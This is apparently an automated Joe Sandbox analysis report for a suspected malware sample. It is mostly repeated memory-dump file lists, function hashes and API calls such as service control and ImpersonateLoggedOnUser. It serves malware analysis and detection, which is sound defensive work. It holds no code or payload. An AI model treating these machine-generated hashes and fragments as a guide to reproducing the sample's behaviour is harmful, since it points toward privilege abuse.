Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 7899dcfad58ebab7e2bdc8ac0835a740f12f61a540e49bb9e3108bd4791e1191
Instruction ID: 3716cb970dea6dbd5a797b3156f385602154df2ee5d4e7002f4988eaf32d3846
Opcode Fuzzy Hash: 7899dcfad58ebab7e2bdc8ac0835a740f12f61a540e49bb9e3108bd4791e1191
Instruction Fuzzy Hash: 17E0C2B112C9CDEACF1A9F20AA8179A371DEB65B04FA00124FA019AE4ACB3D4D11C795

Function 003268B3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 003268BD

Strings

C, xrefs: 00326ADA

Memory Dump Source

Source File: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 0465c71b71449f0770b5c91448ac929d30d3bf363872ca721a2fe1a138e95036
Instruction ID: 7f51ed4631b055ec4682d0cd1f89afc4ab161ebab19b995875596e03385444d6
Opcode Fuzzy Hash: 0465c71b71449f0770b5c91448ac929d30d3bf363872ca721a2fe1a138e95036
Instruction Fuzzy Hash: 2B1199B210D2A96EE3028F60AD917FF3BBCEF96330F244556E440E7D43C6240C058365

Function 00326A7A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00326A7F

Strings

C, xrefs: 00326ADA

Memory Dump Source

Source File: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 7d96680b40fd162616f757f7aea72c484e83d30719ff614d9ded7bb7d1adede2
Instruction ID: 1f733f5c437d2859b685715f07a43893bc0fc62aa87c43538d255d1de7bcc8df
Opcode Fuzzy Hash: 7d96680b40fd162616f757f7aea72c484e83d30719ff614d9ded7bb7d1adede2
Instruction Fuzzy Hash: 7AE0D8B154966E1EDB82EFA858533DD3BA0EF56324F24C5A7DA49D7D82CA150C04834A

Function 00322B01 Relevance: 1.6, APIs: 1, Instructions: 106
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00322B01

Memory Dump Source

Source File: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: dbed73af9b413530f17ec371dd83828afcc37d539ac59b610494b337fcb4a20f
Instruction ID: 95fab2522986da2c5a680f520d195c4a69d16dc7453037f3d9f917d0c23f0792
Opcode Fuzzy Hash: dbed73af9b413530f17ec371dd83828afcc37d539ac59b610494b337fcb4a20f
Instruction Fuzzy Hash: 18315BF210C704AFD345BF19EC856BAFBE8EF58750F46092DE2C483650EA7158808A9B

Function 053D0D42 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 053D0DCD

Memory Dump Source

Source File: 00000002.00000002.2002738461.00000000053D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53d0000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 9e0c293184cceec8285e2c9c726fea599a48ab7612bd159a438e748cec961005
Instruction ID: 6dcbea06d1b58faf56db022bf309c8cc4fcf42843063a9b6c24e4885c8039ff1
Opcode Fuzzy Hash: 9e0c293184cceec8285e2c9c726fea599a48ab7612bd159a438e748cec961005
Instruction Fuzzy Hash: A32118B6C052199FCB54CF99E885BDEFBF4FB88710F14815AD809BB205D774A540CBA4

Function 053D0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 053D0DCD

Memory Dump Source

Source File: 00000002.00000002.2002738461.00000000053D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53d0000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: d6a24541ab895ae5334ce7897e23068ae921eead5c188fd537c8d0edf5e789ed
Instruction ID: 06af6c309154f897c0d9363b9126292df8600af808560128cab0cc0930c94892
Opcode Fuzzy Hash: d6a24541ab895ae5334ce7897e23068ae921eead5c188fd537c8d0edf5e789ed
Instruction Fuzzy Hash: 132115B6C012199FCB54CF99E884BDEFBF4FB88720F14812AD809AB205D774A540CBA4

Function 053D1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 053D1580

Memory Dump Source

Source File: 00000002.00000002.2002738461.00000000053D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53d0000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: e2bb3f37c6df48eba20538d344be6498c742750fbd7157348f9c724b16a109ad
Instruction ID: 3fe132023de91c2edb090171d2543cd600038d394453b866c331339d90c03f65
Opcode Fuzzy Hash: e2bb3f37c6df48eba20538d344be6498c742750fbd7157348f9c724b16a109ad
Instruction Fuzzy Hash: 3C11E4B6900249DFDB10CF9AD584BDEFBF4FB48360F108029E559A7250D378AA44CFA5

Function 053D1509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 053D1580

Memory Dump Source

Source File: 00000002.00000002.2002738461.00000000053D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53d0000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c19c620f61178b3aac375c9357761740840f6bb3515ac303b68eeb66d4575bc9
Instruction ID: c0641fe720c5b1682ad2bebff1fea0bd7777a246f84d41f05fc660a561eb90e0
Opcode Fuzzy Hash: c19c620f61178b3aac375c9357761740840f6bb3515ac303b68eeb66d4575bc9
Instruction Fuzzy Hash: 362114B6D00209CFCB10CF9AD585BDEFBF4BB48360F10842AE559A7250D378A644CFA5

Function 053D1301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 053D1367

Memory Dump Source

Source File: 00000002.00000002.2002738461.00000000053D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53d0000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ccf7c97ab669d23dc493adce7f02602fd3de123add3e3480e10c9247f9eced81
Instruction ID: 6aa8c3ddbb82a1da70697215592a9d7589266ce69208245e509e951b2d5cf5dc
Opcode Fuzzy Hash: ccf7c97ab669d23dc493adce7f02602fd3de123add3e3480e10c9247f9eced81
Instruction Fuzzy Hash: E71125B2800249CFDB10CF9AD985BDEFBF4EF48324F24842AD558A3250D778A944CFA5

Function 053D1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 053D1367

Memory Dump Source

Source File: 00000002.00000002.2002738461.00000000053D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53d0000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: e18414ce925027e1c480e7af83719cb8ba6a0b52e0115d4bcf76a0f2377335e7
Instruction ID: 70f131f82668365e3e0463c5b04f26397ba25d9cb1e4d1bdd32ceead7a6a836a
Opcode Fuzzy Hash: e18414ce925027e1c480e7af83719cb8ba6a0b52e0115d4bcf76a0f2377335e7
Instruction Fuzzy Hash: 691148B2800249CFDB10CF9AD445BDEFBF4FB48320F20842AD558A3250C778A944CFA5

Function 0032FE79 Relevance: 1.5, APIs: 1, Instructions: 17
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0032FE87

Memory Dump Source

Source File: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
